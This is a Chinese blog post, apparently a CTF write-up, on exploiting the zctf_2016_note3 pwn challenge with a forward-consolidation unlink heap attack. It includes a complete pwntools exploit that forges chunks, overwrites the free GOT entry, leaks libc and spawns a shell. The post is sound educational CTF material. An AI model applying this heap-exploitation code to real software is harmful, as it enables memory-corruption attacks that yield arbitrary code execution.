zctf_2016_note3

文章介绍了如何利用程序中的前向合并unlink机制进行堆溢出攻击。通过创建0size的note,导致无限字节读入,进而修改chunk结构,伪造chunk以实现unlink。过程中涉及Glibc的内存管理机制,包括freechunk的size修改和pre_size字段的处理。最终通过一系列步骤,包括修改got表,泄露libc基址和执行onegadget,达到控制程序的目的。
摘要由CSDN通过智能技术生成

前言

记录unlink技巧的前向合并。虽然本题是可以做到无限长度的写入内容,降低了前向合并攻击的难度。本文只是基于作者目前的知识,有不对的地方或者好的思路,欢迎各位师傅进行交流。

题目分析

按照惯例就是查保护,没有完全开启relro保护,估计是可以用hijcak got的。
在这里插入图片描述
ida静态分析一下,很常规的note管理,增删改。

  • 添加note
    在这里插入图片描述
    重点关注一下,在0x4008dd处的读取输入函数,因为a2是unsigned int类型的数据,也是我们传入的note的size,如果我们创建的是0byte大小的note,那么a2 - 1就是四字节能够表示的最大数,也就可以实现无限字节读入了。
    在这里插入图片描述
  • 修改note
    在这里插入图片描述
  • 删除note
    在这里插入图片描述

思路&exp

前向unlink源码

  • 对于前向合并,基本上没有什么检查,但是nextchunk是通过当前被free chunk的size找到的头部,所以需要修改当前被free chunk的size才能够让伪造的chunk 被unlink掉。
    nextchunk = chunk_at_offset(p, size);
    nextsize = chunksize(nextchunk);
    /* consolidate forward */ //前向合并
    if (!nextinuse) {
    unlink(av, nextchunk, bck, fwd);
    size += nextsize;
    }
  • 在glibc-2.27以后,unlink 前向的时候还需要注意伪造pre_size字段。
    #define unlink(AV, P, BK, FD) {
    if (__builtin_expect (chunksize§ != prev_size (next_chunk§), 0))
    malloc_printerr (“corrupted size vs. prev_size”);

exp

可以通过创建0 size大小的note,来实现堆溢出写,从而修改后面chunk的结构。从而创建fake chunk,实现unlink attack。此处使用的是前向的unlink攻击。下面先贴出exp。

from pwncy import *
context(arch = "amd64",log_level = "debug")
p,elf,libc = load("zctf_2016_note3",remote_libc = "/home/tw0/Desktop/tool/buu_libc/x64/libc-2.23.so",ip_port = "node4.buuoj.cn:29605")

def cmd(choice):
	sla("option--->>\n",str(choice))
def create_note(size,content):
	cmd(1)
	sla("Input the length of the note content:(less than 1024)\n",str(size))
	sla("Input the note content:\n",content)
def edit_note(index,content):
	cmd(3)
	sla("Input the id of the note:",str(index))
	sla("Input the new content:\n",content)
def free_note(index):
	cmd(4)
	sla("Input the id of the note:",str(index))
	
debug(p,'no-tmux',0x400000)
control_addr = 0x6020e0 #0x6020C0
#step1 create enough note
create_note(0x80,b"a"*0xf) #0
create_note(0x0,b"b"*0xf) #1
create_note(0x80,b"c"*0xf) #2
create_note(0x80,b"d"*0xf) #3
create_note(0x80,b"/bin/sh\x00") #4 gap note
pause()
#step2 unlink attack
payload = flat({
	0x10: 0xa0,
	0x18: 0xa1,
	0xa8: 0x91,
	0xb0: 0,
	0xb8: 0x81,
	0xc0: [control_addr - 0x18,control_addr - 0x10],
	0x130: 0x80,
	0x138: 0x90 
	},length = 0x140,filler = b"\x00")
edit_note(1,payload)
# pause()
free_note(2)
pause()
#step3 change free_got to one_gadget
free_got = elf.got["free"]
puts_got = elf.got["puts"]
malloc_got = elf.got["malloc"]
note3 = flat({
	0x0: free_got,
	0x8: puts_got,
	0x10: free_got,
	0x18: p32(0x6020c8),
	},length = 0x1f,filler = b"\x00")
edit_note(3,note3)
pause()
edit_note(0,flat([p32(elf.plt["puts"] + 6), p8(0), p8(0), p8(0)]))
free_note(1)
pause()
puts_addr = recv_libc()

system,binsh,libc_base = local_search("puts",puts_addr,libc)
edit_note(2,flat({
	# 0x0: system,
	0x0: libc_base + search_og(2),
	0x8: elf.plt["puts"] + 6
	},length = 0x10))
pause()
#step4 getshell
free_note(0)
itr()

step1

我们创建了5个note,可以在管理列表看到,第二个chunk的size是0。chunk0我们不使用,如果需要进行后前unlink就可以修改chunk0。但是本次是尝试前向的unlink
在这里插入图片描述

step2

通过溢出写,修改chunk2的size,在chunk2的mem中伪造一个chunk,再修改chunk3的pre_inuse字段。
可以看到,通过修改以后chunk1 的size变成了0xa0,比原来大了0x10,在chunk2的mem部分也多了一个fake chunk,另外chunk3 的prev_size和pre_inuse也都被修改了。
在这里插入图片描述
free chunk2 进行unlink的前向合并
chunk2和chunk3成为了一个chunk被放入unsorted bin中。
在这里插入图片描述
chunk3被unlink之后,也让0x6020e0处记录的指针变成了0x6020e0 - 0x18,从而让我们可以控制记录note的数据结构。
在这里插入图片描述

step3

先是修改free_got为puts_plt来泄露libc基地址。
在这里插入图片描述
在这里插入图片描述
free chunk1 获得libc 基地址
在这里插入图片描述

再修改free_got为onegadget来getshell,这些都比较常规。
在这里插入图片描述

attention

如果想要修改free got为system 的地址的时候,那么需要注意读取数据的长度,因为本题设置的读取函数会将最后一位设置成"\x00"。因此,如果想通过设置free_got为system来getshell时,需要修改payload为如下:

payload = flat({
	0x10: 0xa0,
	0x18: 0xa1,
	0xa8: 0x91,
	0xb0: 0,
	0xb8: 0x81,
	0xc0: [control_addr - 0x18,control_addr - 0x10],
	0x130: 0x80,
	0x138: 0x90,
	0x140: b"/bin/sh\x00"
	},length = 0x148,filler = b"\x00")

最后free掉note4即可getshell。

总结

heap中的unlink攻击是比较常用的技巧。后向的unlink利用条件更加简单,只需要off-by-null即可。但是前向的unlink因为需要设置伪造chunk的size,所以利用条件稍微困难一些,需要off-by-one才能实现。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值